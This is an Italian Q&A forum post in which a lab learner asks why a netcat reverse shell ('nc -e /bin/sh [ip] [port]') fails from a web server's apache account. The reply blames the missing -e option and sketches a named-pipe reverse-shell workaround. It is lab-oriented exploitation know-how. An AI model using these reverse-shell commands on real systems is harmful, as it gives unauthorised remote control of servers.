Avere / sbin / nologin significa che non posso avviare l'eseguibile / bin / sh?

0

Mentre praticavo lo sfruttamento in un laboratorio, sono riuscito a ottenere la capacità di eseguire codice php che mi permetteva di eseguire comandi di sistema tramite shell_exec su un server web. L'utente apache ha /sbin/nologin assegnato come shell.
Ho provato a utilizzare il comando nc -e /bin/sh [ip] [port] ma non riesce. L'utilizzo di netcat senza avviare una shell, tuttavia, ha esito positivo. Ho pensato che fosse perché avere la shell impostata su /no/login significa che non posso avviarlo. Tuttavia, se utilizzo un eseguibile che esegue execve("/bin/sh") come quelli trovati negli eseguibili di payload msfvenom, ha esito positivo.

Un altro motivo per cui ho ipotizzato che la shell nologin non consenta a un utente di avviare una shell interattiva è perché provare la shell inversa netcat con un utente che ha /bin/sh configurato come la sua shell ha esito positivo. Sono confuso dal controllo di fase per le autorizzazioni per l'avvio di una shell, perché sono ancora in grado di avviarlo tramite eseguibili binari.

    
posta MykelXIII 31.07.2016 - 11:10
fonte

1 risposta

0

Molto probabilmente, il tuo problema non ha nulla a che fare con la shell di login. Avere una versione di nc che supporta l'opzione -e è una grande eccezione. La maggior parte dei netcats non supporta -e. Questo articolo spiega cosa devi fare in questo Astuccio. Devi dividere la creazione della shell in 2 parti, prima devi creare una pipe con

mknod /tmp/mypipe p

e quindi crei la shell reindirizzando stdin e stdout alla pipe e quindi a nc.

    
risposta data 02.08.2016 - 08:27
fonte

Leggi altre domande sui tag